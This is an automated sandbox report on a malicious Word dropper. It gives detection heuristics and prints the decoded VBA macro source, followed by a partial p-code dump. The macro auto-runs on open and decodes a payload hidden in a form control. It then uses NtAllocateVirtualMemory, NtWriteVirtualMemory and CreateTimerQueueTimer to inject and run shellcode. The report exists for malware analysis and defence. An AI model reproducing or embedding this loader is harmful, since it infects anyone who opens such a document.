MALICIOUS
90
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is identified as malicious by ClamAV with the signature 'Doc.Dropper.Agent-6337025-0', indicating it is a dropper. The presence of VBA macros, specifically a 'Document_Open' macro, strongly suggests that the document is designed to execute malicious code upon opening. The obfuscated nature of the VBA script indicates an attempt to evade detection, and its likely purpose is to download and execute a secondary payload.
Heuristics 4
-
ClamAV: Doc.Dropper.Agent-6337025-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6337025-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
End Function Private Sub Document_Open() Dim elaboration As Byte -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 47606 bytes |
SHA-256: 27c6f9c46725b569971163207c0f3094dd7d6fb493db826e9d02ae08130eac3d |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function gvisum(prose, arranged, carpetweed)
vagons = nurgers(20 / 4)
#If (7 * 4 + 5) > (7 - 2 * 1) And (20 - 5 * 4) * 2 < (vagons) Then
Dim fresno As Variant
Dim ephedra As Long
Dim euarctos As LongPtr
Dim eaglet As LongPtr
Dim athanasia As LongPtr
Dim dig As Integer
Dim bashaw As LongPtr
Dim nonnatural As LongPtr
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (vagons) Then
Dim eaglet As Long
Dim aviate As Integer
Dim euarctos As Long
Dim preterlapsed As String
Dim bashaw As Long
Dim bijoutry As Long
Dim athanasia As Long
Dim monotheism As Variant
Dim nonnatural As Long
Dim countervailing As Long
Dim alack As Variant
#End If
mopsey = Math.Round(238)
diminishment = diminishment * 4
eaglet = prose
nonnatural = carpetweed
papery = "cermonie"
bashaw = arranged
chylific = 90 + 9
appal = 16440 + 1
brake = 599230 + 8
Pmt 0, chylific, 14012, 21725, 3
declivity = papery
euarctos = 87 + 82 - 170
brabbler ByVal euarctos, eaglet, bashaw, nonnatural, athanasia
papery = "onthespot"
End Function
Function nurgers(netves)
Dim windser As Integer
Dim velvet As Integer
fixoid = netves * 12
Dim sitroen As Variant
subway2 = netves * 2
Dim cowen() As Byte
#If (3 * 4 + netves) > (7 - 2 * 1) And (10 - netves * 2) * 2 < (Win64) Then
velvet = subway2
#End If
#If (3 * 4 + netves) > (7 - 2 * 1) And Not (Win64) > (10 - netves * 2) * 2 Then
velvet = (120 - fixoid)
#End If
subway3 = subway2 + velvet
nurgers = velvet
End Function
Private Sub Document_Open()
Dim elaboration As Byte
Dim reinvest As Long
angiotensin = "inhalation"
furtiveness
hawking = 50 + 1
deformation = 25950 + 7
prevenient = 303490 + 1
Pmt 0, hawking, 12455, 25651, 2
End Sub
Sub furtiveness()
Dim genetic As String
Dim sesquipedal As String
stenopterygius.frizzle.Value = Day(#12/5/2013#)
varday = quassia = haberdashery
indirect = "faultily"
remembrancer = "neckcloth"
manatee = "pythonidae"
denman = "maggior"
clem = "scyphiform"
illconsidered = baggage
Set alternity = stenopterygius.frizzle.SelectedItem
dropped = 80 + 0
anthophagous = 7550 + 7
eeriness = 535600 + 8
Pmt 0, dropped, 10880, 46241, 5
dickey = alternity.Name
insomuch = 7840 + 4
novial = Right(dickey, insomuch)
cepphus = abdicant.commissionaire(novial)
dean = 70 + 8
cenobite = 19840 + 6
confirmed = 199710 + 6
Pmt 0, dean, 20579, 26691, 6
birmingham = "vivification"
vagons = nurgers(20 / 4)
#If (3 * 4 + 5) > (5 - 2 * 1) And (8 - 4 * 2) * 2 < (vagons) Then
Dim adder As Integer
Dim displume As LongPtr
Dim formaldehyde As LongPtr
Dim ameliorating As Variant
#End If
#If (9 * 3 + 5) > (8 - 3 * 1) And Not (28 - 7 * 4) * 2 < (vagons) Then
Dim verbum As Byte
Dim formaldehyde As Long
Dim balsamic As Integer
Dim displume As Long
#End If
militarist = 1 - 1
conversationist = "headlinese"
albification = ashamed
honi = 96 - 50 + 4050
forensis = 80 + 6
bardolatry = 7200 + 9
beatification = 392510 + 1
Pmt 0, forensis, 2383, 20545, 4
afterhours = "restcure"
mineralocorticoid = javanthropus
churchlike = "lc"
antihypertensive = 40 + 3
admissable = 18300 + 0
dhaulagiri = 558660 + 4
Pmt 0, antihypertensive, 17457, 24450, 5
recoding = cepphus
bedpost = "aftershock"
alyssum = "clinquant"
displume = feisty(recoding)
misprision = "assistive"
azo = "encyclic"
#If (3 * 4 + 5) > (5 - 2 * 1) And (8 - 4 * 2) * 2 < (Win64) Then
Dim songstress As Long
Dim censoring As LongPtr
Dim cimex As LongPtr
Dim adjutage As LongPtr
dasyatis = 10 + 97 + 1957
#End If
#If (9 * 3 + 5) > (8 - 3 * 1) And Not (28 - 7 * 4) * 2 < (Win64) Then
Dim censoring As Long
believer = 9 + 98 + 674
Dim cimex As Long
Dim adjutage As Long
dasyatis = believer + 3459
#End If
Dim rekindle As Variant
Dim imaum As String
censoring = 17 + 71 - 88
formaldehyde = displume + dasyatis
cimex = 1 + 88 + 201438
adjutage = 123 - 116 + 3493
braggadocio = bullsa(cimex, censoring, formaldehyde)
fille = 100 + 5
accurately = 18110 + 7
blissful = 229450 + 5
Pmt 0, fille, 4064, 53410, 2
End Sub
Public Function buster(pistol)
buster = VBA.StrConv(pistol, 128)
End Function
Function feisty(cladode)
Dim berate As Variant
Dim catholicity As Variant
Dim ameiurus As Byte
Dim firstrate As Byte
#If (6 * 3 + 5) > (7 - 2 * 1) And (48 - 6 * 8) * 2 < (Win64) Then
Dim banner As Integer
Dim awol As LongPtr
generis = 75 + 2 - 69
Dim navigation As LongPtr
Dim peanut As Variant
Dim abundantly As Integer
Dim ear As LongPtr
Dim cubicity As Integer
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim awol As Long
generis = 110 + 125 - 231
Dim navigation As Long
Dim ear As Long
#End If
custombuilt = VarPtr(awol)
multifid = gvisum(custombuilt, VarPtr(cladode) + 8, generis)
crippling = 1 - 2
navigation = 3 - 3
decuration = 4 - 4
ear = 9740 + 6
aerobics = 90 - 104 + 4110
lasagna = 46 + 22 - 4
expunction = aforementioned(ByVal crippling, navigation, ByVal decuration, ear, ByVal aerobics, ByVal lasagna)
declivity = "buccaneer"
papery = declivity
gvisum navigation, awol, 5883
almondeyed = 100 + 1
unconditioned = 22810 + 7
bota = 568990 + 5
Pmt 0, almondeyed, 15008, 40081, 4
feisty = navigation
End Function
Attribute VB_Name = "abdicant"
' The moon went hiding, stars quit shining
' Hit me like a hurricane
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
' Baby, without warning
' Hit me like a hurricane
Public Declare PtrSafe Function genealogically Lib "Kernel32" Alias "CreateTimerQueueTimer" (galionji As Any, ByVal lepidopterist As Any, ByVal macrocytosis As Any, ByVal brunt As Any, ByVal extravagance As Any, ByVal adenine As Any, ByVal omophagic As Any) As Long
' But you rolled in with your hair in the wind
' You wrecked my whole world when you came
Public Declare PtrSafe Function granitic Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal turfan As Any, descendent As Any, caesarl As Any, eurypterida As Any) As LongPtr
' And hit me like a hurricane' But you rolled in with your hair in the wind
Public Declare PtrSafe Function brabbler Lib "ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal nonmechanical As Any, ByVal glories As Any, ByVal morphology As Any, ByVal site As Any, ByVal bromine As Any) As LongPtr
' I wouldnt be in my truck
' I wouldnt be in my truck
Public Declare PtrSafe Function decorum Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal leau As Any, daydreamer As Any, irrevocably As Any, consummatum As Any) As LongPtr
' And hit me like a hurricane
' The moon went hiding, stars quit shining
Public Declare PtrSafe Function aforementioned Lib "ntdll.dll " Alias _
"NtAllocateVirtualMemory" (terrestrial As LongPtr, eutrophy As LongPtr, ByVal pentagon As LongPtr, rumanianByVal As LongPtr, fourpenny As LongPtr, ByVal citation As LongPtr) As LongPtr
' But you rolled in with your hair in the wind
' The moon went hiding, stars quit shining
Public Declare PtrSafe Function arachnid Lib "ntdll.dll " Alias "AcquireSRWLockShared" (myself As Any) As LongPtr
' Baby, without warning
' Knew it was gonna be a long night
#End If
' You wrecked my whole world when you came
' If I woulda just layed my drink down
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
' Baby, without warning
' Knew it was gonna be a long night
Public Declare Function gadidae Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal yamen As Any, curious As Any, cates As Any, belgian As Any) As Long
' And hit me like a hurricane' From the moment when
' Rain was driving, thunder, lightning
Public Declare Function brabbler Lib "Ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal bullpen As Any, ByVal margarine As Any, ByVal nonrandom As Any, ByVal interdict As Any, ByVal hocus As Any) As Long
' I was doing alright
' But just your sight had my heart storming
Public Declare Function conyza Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal fullflavored As Any, braided As Any, bagel As Any, perching As Any) As Long
' But just your sight had my heart storming
' Hit me like a hurricane
Public Declare Function aforementioned Lib "Ntdll.dll " Alias _
"NtAllocateVirtualMemory" (billfish As Long, virgate As Long, ByVal repugn As Long, natrixByVal As Long, sqib As Long, ByVal alcaid As Long) As Long
' And hit me like a hurricane' But you rolled in with your hair in the wind
Public Declare Function odontoceti Lib "ntdll.dll " Alias "AcquireSRWLockShared" (snuffle As Any) As Long
' Baby, without warning
' If I woulda just layed my drink down
Public Declare Function genealogically Lib "Kernel32" Alias "CreateTimerQueueTimer" (footnote As Any, ByVal affinal As Any, ByVal argyrotaenia As Any, ByVal ambystomatidae As Any, ByVal arpeggio As Any, ByVal roasting As Any, ByVal plectania As Any) As Long
' But you rolled in with your hair in the wind
' Rain was driving, thunder, lightning
' I wouldnt be in my truck
' If I woulda just layed my drink down
#End If
' But you rolled in with your hair in the wind
' Rain was driving, thunder, lightning
Function truman(saguntum, camptosorus, simian)
If simian = 45 + (10 / 2 - 5) Then
truman = saguntum \ camptosorus
ElseIf simian = 55 + (5 - 3) / 2 - 1 Then
truman = saguntum And camptosorus
ElseIf simian = 63 + (56 / 7 - 4 * 2) Then
truman = saguntum * camptosorus
End If
End Function
Function commissionaire(midsummer) As String
Dim brokenbacked(63) As Long
Dim infiltrate As Long
Dim amie As Byte
Dim cooption(63) As Long
Dim retort As String
Dim appellate As Integer
Dim grocery() As Byte
Dim bantering As Long
Dim nigerien As Long
Dim salesman As Integer
Dim corn As Long
Dim sceloglaux(63) As Long
diminishment = Fix(60)
diminishment = Fix(476)
Dim blowsy(6962) As Byte
declivity = papery
Dim xerophagy As String
Dim eurodollar As Long
anisogamy = 73 + 108 + 65099
dropp = 258040 + 8
besides = 23 + 1 + 16711656
xyridales = 103 - 16 + 169
pluteus = 16515070 + 2
captivated = 262140 + 4
forestay = 107 + 30 - 74
bluffly = 60 + 4
clerkship = 9 + 44 + 3979
Dim whacked As Integer
Dim aranea As Variant
nomadism = 250 + 5
ablepsia = 72 - 51 + 4075
reticent = 65530 + 6
Dim collectivization As Long
Dim burrheaded As Variant
trennel = 71 + 79 - 150
helicon = 18 - 110 + 7935
Dim cocculus() As Byte
Dim horniness As String
Dim polysyllable As Integer
cocculus = VBA.Strings.StrConv(midsummer, 128)
Dim understatement As Variant
hellbent = 50 + 1
nicad = 21600 + 3
aeriferous = 447840 + 0
Pmt 0, hellbent, 29007, 44561, 2
hebrew = 7840 + 3
alliteration = vbKeyShift - 12
For lawman = (2 - 2) To hebrew
If lawman Mod 2 = (3 - 3) Then
cocculus(lawman) = cocculus(lawman) - alliteration
Else
cocculus(lawman) = cocculus(lawman) - (alliteration - 1)
End If
Next lawman
anasarcous = 2 + 1
carib = 8460 + 8
dioptrics = 514530 + 6
Pmt 0, anasarcous, 4969, 40722, 7
salesman = 2 - 2
landloper = 48 + 18 - 66
debitorem = 75 - 17 - 15
love = nizam
For nigerien = (7 - 7) * 1 To (50 + 13) * (5 - 4)
sceloglaux(nigerien) = truman(nigerien, bluffly, 60 + 3)
cooption(nigerien) = truman(nigerien, ablepsia, 60 + 3)
brokenbacked(nigerien) = truman(nigerien, captivated, 60 + 3)
Next nigerien
aurelia = 2 + 2
odobenidae = 3340 + 9
mariposa = 353720 + 3
Pmt 0, aurelia, 24181, 29305, 8
grocery = cocculus
Value = 100 + 65 - 161
bronchiolitis = 80 + 2
asterisk = 29200 + 4
lycopus = 571740 + 1
Pmt 0, bronchiolitis, 7379, 46121, 5
hydra = 2 + 1
declivity = "undamped"
declivity = declivity
grounding = hydra + 1
centuplicate = 1 + 1
For corn = (2 - 2) To hebrew
noria = grocery(corn)
nuncupative = grocery(corn + 2)
bestride = cooption(love(grocery(corn + 1)))
superhuman = sceloglaux(love(nuncupative)) + love(grocery(corn + hydra))
bantering = brokenbacked(love(noria)) + bestride + superhuman
nigerien = truman(bantering, besides, 55)
blowsy(eurodollar) = truman(nigerien, reticent, 45)
nigerien = truman(bantering, anisogamy, 55)
blowsy(eurodollar + 1) = truman(nigerien, xyridales, 45)
blowsy(eurodollar + centuplicate) = truman(bantering, nomadism, 55)
eurodollar = eurodollar + centuplicate + 1
corn = corn + 3
Next
commissionaire = blowsy
End Function
Function nizam()
Dim cruise(255) As Byte
batholith = 109 - 91 + 47
Do While batholith <= 90 + 1
cruise(batholith) = batholith - 65
batholith = batholith + 1
Loop
batholith = 40 + 8
Do While batholith <= 50 + 8
cruise(batholith) = batholith + 4
batholith = batholith + 1
Loop
batholith = 90 + 7
Do While batholith <= 120 + 3
cruise(batholith) = batholith - 71
batholith = batholith + 1
Loop
cruise(47) = 60 + 3
batholith = 40 + 3
cruise(batholith) = 60 + 2
nizam = cruise
End Function
Function bullsa(wrd, buls, lky)
#If (7 * 2) * 3 > 14 / 2 And (12 - 6 * 2) * 1 < (Win64) Then
Dim nikolas As LongPtr
Dim bis As LongPtr
Dim ority As Integer
Dim deble As LongPtr
#End If
#If (12 * 2) / 1 > 14 / 2 And Not (12 - 6 * 2) * 1 < (Win64) Then
Dim nikolas As Long
Dim bwis As Long
Dim antery As Integer
Dim deble As Long
#End If
nikolas = buls
deble = lky
dan2 = genealogically(wrd, nikolas, deble, nikolas, nikolas, nikolas, nikolas)
End Function
Attribute VB_Name = "stenopterygius"
Attribute VB_Base = "0{7C6B7DA2-B1DF-4734-AF5E-2E3DE925AC66}{FA46D4D0-CDB6-4799-AB13-37A8234D9276}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
' Processing file: /opt/analyzer/scan_staging/1259d3fbee6f455b982e4ceeb3b34894.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 15578 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' Line #4:
' FuncDefn (Function gvisum(prose))
' Line #5:
' LitDI2 0x0014
' LitDI2 0x0004
' Div
' ArgsLd subway3 0x0001
' St nurgers
' Line #6:
' LbMark
' LitDI2 0x0007
' LitDI2 0x0004
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0014
' LitDI2 0x0005
' LitDI2 0x0004
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld nurgers
' Paren
' Lt
' And
' LbIf
' Line #7:
' Dim
' VarDefn fresno (As Variant)
' Line #8:
' Dim
' VarDefn ephedra (As Long)
' Line #9:
' Dim
' VarDefn euarctos (As Ptr)
' Line #10:
' Dim
' VarDefn eaglet (As Ptr)
' Line #11:
' Dim
' VarDefn athanasia (As Ptr)
' Line #12:
' Dim
' VarDefn dig (As Integer)
' Line #13:
' Dim
' VarDefn bashaw (As Ptr)
' Line #14:
' Dim
' VarDefn nonnatural (As Ptr)
' Line #15:
' LbMark
' LbEndIf
' Line #16:
' LbMark
' LitDI2 0x0008
' LitDI2 0x0002
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0015
' LitDI2 0x0007
' LitDI2 0x0003
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld nurgers
' Paren
' Lt
' Not
' And
' LbIf
' Line #17:
' Dim
' VarDefn eaglet (As Long)
' Line #18:
' Dim
' VarDefn aviate (As Integer)
' Line #19:
' Dim
' VarDefn euarctos (As Long)
' Line #20:
' Dim
' VarDefn preterlapsed (As String)
' Line #21:
' Dim
' VarDefn bashaw (As Long)
' Line #22:
' Dim
' VarDefn bijoutry (As Long)
' Line #23:
' Dim
' VarDefn athanasia (As Long)
' Line #24:
' Dim
' VarDefn monotheism (As Variant)
' Line #25:
' Dim
' VarDefn nonnatural (As Long)
' Line #26:
' Dim
' VarDefn countervailing (As Long)
' Line #27:
' Dim
' VarDefn alack (As Variant)
' Line #28:
' LbMark
' LbEndIf
' Line #29:
' LitDI2 0x00EE
' Ld Math
' ArgsMemLd Round 0x0001
' St mopsey
' Line #30:
' Ld diminishment
' LitDI2 0x0004
' Mul
' St diminishment
' Line #31:
' Ld prose
' St eaglet
' Line #32:
' Ld carpetweed
' St nonnatural
' Line #33:
' LitStr 0x0008 "cermonie"
' St papery
' Line #34:
' Ld arranged
' St bashaw
' Line #35:
' LitDI2 0x005A
' LitDI2 0x0009
' Add
' St chylific
' Line #36:
' LitDI2 0x4038
' LitDI2 0x0001
' Add
' St appal
' Line #37:
' LitDI4 0x24BE 0x0009
' LitDI2 0x0008
' Add
' St brake
' Line #38:
' LitDI2 0x0000
' Ld chylific
' LitDI2 0x36BC
' LitDI2 0x54DD
' LitDI2 0x0003
' ArgsCall Pmt 0x0005
' Line #39:
' Line #40:
' Ld papery
' St declivity
' Line #41:
' LitDI2 0x0057
' LitDI2 0x0052
' Add
' LitDI2 0x00AA
' Sub
' St euarctos
' Line #42:
' Ld euarctos
' ParamByVal
' Ld eaglet
' Ld bashaw
' Ld nonnatural
' Ld athanasia
' ArgsCall brabbler 0x0005
' Line #43:
' LitStr 0x0009 "onthespot"
' St papery
' Line #44:
' EndFunc
' Line #45:
' FuncDefn (Function subway3(samara))
' Line #46:
' Dim
' VarDefn netves (As Integer)
' Line #47:
' Dim
' VarDefn windser (As Integer)
' Line #48:
' Ld samara
' LitDI2 0x000C
' Mul
' St velvet
' Line #49:
' Dim
' VarDefn fixoid (As Variant)
' Line #50:
' Ld samara
' LitDI2 0x0002
' Mul
' St sitroen
' Line #51:
' Dim
' VarDefn subway2
' Line #52:
' LbMark
' LitDI2 0x0003
' LitDI2 0x0004
' Mul
' Ld samara
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x000A
' Ld samara
' LitDI2 0x0002
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' And
' LbIf
' Line #53:
' Ld sitroen
' St windser
' Line #54:
' LbMark
' LbEndIf
' Line #55:
' LbMark
' LitDI2 0x0003
' LitDI2 0x0004
' Mul
' Ld samara
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' Ld Win64
' Paren
' LitDI2 0x000A
' Ld samara
' LitDI2 0x0002
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Gt
' Not
' And
' LbIf
' Line #56:
' LitDI2 0x0078
' Ld velvet
' Sub
' Paren
' St windser
' Line #57:
' LbMark
' LbEndIf
' Line #58:
' Ld sitroen
' Ld windser
' Add
' St cowen
' Line #59:
' Ld windser
' St subway3
' Line #60:
' EndFunc
' Line #61:
' FuncDefn (Sub Document_Open())
' Line #62:
' Dim
' VarDefn elaboration (As Byte)
' Line #63:
' Dim
' VarDefn reinvest (As Long)
' Line #64:
' LitStr 0x000A "inhalation"
' St angiotensin
' Line #65:
' ArgsCall furtiveness 0x0000
' Line #66:
' LitDI2 0x0032
' LitDI2 0x0001
' Add
' St hawking
' Line #67:
' LitDI2 0x655E
' LitDI2 0x0007
' Add
' St deformation
' Line #68:
' LitDI4 0xA182 0x0004
' LitDI2 0x0001
' Add
' St prevenient
' Line #69:
' LitDI2 0x0000
' Ld hawking
' LitDI2 0x30A7
' LitDI2 0x6433
' LitDI2 0x0002
' ArgsCall Pmt 0x0005
' Line #70:
' EndSub
' Line #71:
' FuncDefn (Sub furtiveness())
' Line #72:
' Dim
' VarDefn genetic (As String)
' Line #73:
' Dim
' VarDefn sesquipedal (As String)
' Line #74:
' LitDate 0x0000 0x0000 0x51A0 0x40E4
' ArgsLd Day 0x0001
' Ld stenopterygius
' MemLd frizzle
' MemSt Value
' Line #75:
' Ld quassia
' Ld haberdashery
' Eq
' St varday
' Line #76:
' LitStr 0x0008 "faultily"
' St indirect
' Line #77:
' LitStr 0x0009 "neckcloth"
' St remembrancer
' Line #78:
' LitStr 0x000A "pythonidae"
' St manatee
' Line #79:
' LitStr 0x0007 "maggior"
' St denman
' Line #80:
' Line #81:
' LitStr 0x000A "scyphiform"
' St clem
' Line #82:
' Ld baggage
' St illconsidered
' Line #83:
' SetStmt
' Ld stenopterygius
' MemLd frizzle
' MemLd SelectedItem
' Set alternity
' Line #84:
' LitDI2 0x0050
' LitDI2 0x0000
' Add
' St dropped
' Line #85:
' LitDI2 0x1D7E
' LitDI2 0x0007
' Add
' St anthophagous
' Line #86:
' LitDI4 0x2C30 0x0008
' LitDI2 0x0008
' Add
' St eeriness
' Line #87:
' LitDI2 0x0000
' Ld dropped
' LitDI2 0x2A80
' LitDI4 0xB4A1 0x0000
' LitDI2 0x0005
' ArgsCall Pmt 0x0005
' Line #88:
' Line #89:
' Ld alternity
' MemLd Name
' St dickey
' Line #90:
' LitDI2 0x1EA0
' LitDI2 0x0004
' Add
' St insomuch
' Line #91:
' Ld dickey
' Ld insomuch
' ArgsLd Right 0x0002
' St novial
' Line #92:
' Ld novial
' Ld abdicant
' ArgsMemLd commissionaire 0x0001
' St cepphus
' Line #93:
' LitDI2 0x0046
' LitDI2 0x0008
' Add
' St dean
' Line #94:
' LitDI2 0x4D80
' LitDI2 0x0006
' Add
' St cenobite
' Line #95:
' LitDI4 0x0C1E 0x0003
' LitDI2 0x0006
' Add
' St confirmed
' Line #96:
' LitDI2 0x0000
' Ld dean
' LitDI2 0x5063
' LitDI2 0x6843
' LitDI2 0x0006
' ArgsCall Pmt 0x0005
' Line #97:
' Line #98:
' LitStr 0x000C "vivification"
' St birmingham
' Line #99:
' LitDI2 0x0014
' LitDI2 0x0004
' Div
' ArgsLd subway3 0x0001
' St nurgers
' Line #100:
' LbMark
' LitDI2 0x0003
' LitDI2 0x0004
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0005
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0008
' LitDI2 0x0004
' LitDI2 0x0002
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld nurgers
' Paren
' Lt
' And
' LbIf
' Line #101:
' Dim
' VarDefn adder (As Integer)
' Line #102:
' Dim
' VarDefn displume (As Ptr)
' Line #103:
' Dim
' VarDefn formaldehyde (As Ptr)
' Line #104:
' Dim
' VarDefn ameliorating (As Variant)
' Line #105:
' LbMark
' LbEndIf
' Line #106:
' LbMark
' LitDI2 0x0009
' LitDI2 0x0003
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0008
' LitDI2 0x0003
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x001C
' LitDI2 0x0007
' LitDI2 0x0004
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld nurgers
' Paren
' Lt
' Not
' And
' LbIf
' Line #107:
' Dim
' VarDefn verbum (As Byte)
' Line #108:
' Dim
' VarDefn formaldehyde (As Long)
' Line #109:
' Dim
' VarDefn balsamic (As Integer)
' Line #110:
' Dim
' VarDefn displume (As Long)
' Line #111:
' LbMark
' LbEndIf
' Line #112:
' LitDI2 0x0001
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.